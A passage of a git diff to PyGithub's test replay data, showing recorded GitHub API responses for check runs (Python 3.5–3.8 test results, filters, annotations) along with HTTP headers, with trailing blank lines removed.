{"total_count":4,"check_runs":[{"id":1039891953,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTUz","head_sha":"6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","external_id":"6b512fe7-587c-5ecc-c4a3-03b7358c152d","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891953","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891953","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891953","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:21:21Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891953/annotations"},"name":"test (Python 3.8)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891931,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTMx","head_sha":"6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","external_id":"02f808e0-98fe-55de-7c6a-7b611811c378","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:32Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931/annotations"},"name":"test (Python 3.7)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891917,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTE3","head_sha":"6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","external_id":"ced8afa2-0de1-5007-330b-c6fb982580f9","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","status":"completed","conclusion":"failure","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:22:35Z","output":{"title":"test (Python 3.6)","summary":"There are 1 failures, 0 warnings, and 0 notices.","text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations"},"name":"test (Python 3.6)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891902,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTAy","head_sha":"6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","external_id":"faa62fff-0a61-5a65-b80e-0b42a7456be1","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:34Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902/annotations"},"name":"test (Python 3.5)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} - diff --git a/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByCheckName.txt b/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByCheckName.txt index d0354ba43f..8f4433a97b 100644 --- a/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByCheckName.txt +++ b/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByCheckName.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Fri, 23 Oct 2020 03:05:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"0cfd4fd6b16162ce7ee38ef08f9c65f2673b52557d1ed9107cb550b5eba06e8a"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4883'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '117'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF3A:0A11:F4133D:14F8791:5F924867')] {"total_count":1,"check_runs":[{"id":1039891917,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTE3","head_sha":"6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","external_id":"ced8afa2-0de1-5007-330b-c6fb982580f9","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","status":"completed","conclusion":"failure","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:22:35Z","output":{"title":"test (Python 3.6)","summary":"There are 1 failures, 0 warnings, and 0 notices.","text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations"},"name":"test (Python 3.6)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} - diff --git a/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByFilter.txt b/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByFilter.txt index 3f75f466c8..4860df5632 100644 --- a/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByFilter.txt +++ b/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByFilter.txt @@ -41,4 +41,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 04:47:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b55d1ee82bdff5f80cd733dc047fca54748fcf7b9f3d0cc0d20e4ce0e86880a9"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1616475784'), ('X-RateLimit-Used', '23'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE1E:5544:101C708:116D256:605972C3')] {"total_count":4,"check_runs":[{"id":1039891953,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTUz","head_sha":"6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","external_id":"6b512fe7-587c-5ecc-c4a3-03b7358c152d","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891953","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891953","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891953","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:21:21Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891953/annotations"},"name":"test (Python 3.8)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891931,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTMx","head_sha":"6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","external_id":"02f808e0-98fe-55de-7c6a-7b611811c378","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:32Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931/annotations"},"name":"test (Python 3.7)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891917,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTE3","head_sha":"6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","external_id":"ced8afa2-0de1-5007-330b-c6fb982580f9","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","status":"completed","conclusion":"failure","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:22:35Z","output":{"title":"test (Python 3.6)","summary":"There are 1 failures, 0 warnings, and 0 notices.","text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations"},"name":"test (Python 3.6)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891902,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTAy","head_sha":"6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","external_id":"faa62fff-0a61-5a65-b80e-0b42a7456be1","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:34Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902/annotations"},"name":"test (Python 3.5)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} - diff --git a/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByStatus.txt b/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByStatus.txt index c58801dd61..a873ab3fd1 100644 --- a/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByStatus.txt +++ b/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByStatus.txt @@ -41,4 +41,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 04:59:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"064db03759623f89d85add43a338562c850b2e56b6decb492c3e4f64f35c2fa9"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4969'), ('X-RateLimit-Reset', '1616475784'), ('X-RateLimit-Used', '31'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE58:7385:AB8318:BAC4AF:605975BD')] {"total_count":0,"check_runs":[]} - diff --git a/tests/ReplayData/CheckRun.testListCheckRunAnnotations.txt b/tests/ReplayData/CheckRun.testListCheckRunAnnotations.txt index 51b5431777..4bf5f3e243 100644 --- a/tests/ReplayData/CheckRun.testListCheckRunAnnotations.txt +++ b/tests/ReplayData/CheckRun.testListCheckRunAnnotations.txt @@ -30,4 +30,3 @@ None 200 [('Date', 'Fri, 23 Oct 2020 03:05:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"047a28107e6c7cccaea233850af8c84a6c36a7eddfe08d6e1b78f3d435bdef2d"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4860'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '140'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF51:24B4:15A7A9D:1D6C9C1:5F924872')] [{"path":"README.md","blob_href":"https://github.com/dhruvmanila/pygithub-testing/blob/0283d46537193f1fed7d46859f15c5304b9836f9/README.md","start_line":2,"start_column":null,"end_line":2,"end_column":null,"annotation_level":"warning","title":"Spell Checker","message":"Check your spelling for 'banaas'.","raw_details":"Do you mean 'bananas' or 'banana'?"},{"path":"README.md","blob_href":"https://github.com/dhruvmanila/pygithub-testing/blob/0283d46537193f1fed7d46859f15c5304b9836f9/README.md","start_line":4,"start_column":null,"end_line":4,"end_column":null,"annotation_level":"warning","title":"Spell Checker","message":"Check your spelling for 'aples'","raw_details":"Do you mean 'apples' or 'Naples'"}] - diff --git a/tests/ReplayData/CheckRun.testUpdateCheckRunAll.txt b/tests/ReplayData/CheckRun.testUpdateCheckRunAll.txt index c2222b9805..f5649fce04 100644 --- a/tests/ReplayData/CheckRun.testUpdateCheckRunAll.txt +++ b/tests/ReplayData/CheckRun.testUpdateCheckRunAll.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Fri, 23 Oct 2020 03:05:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 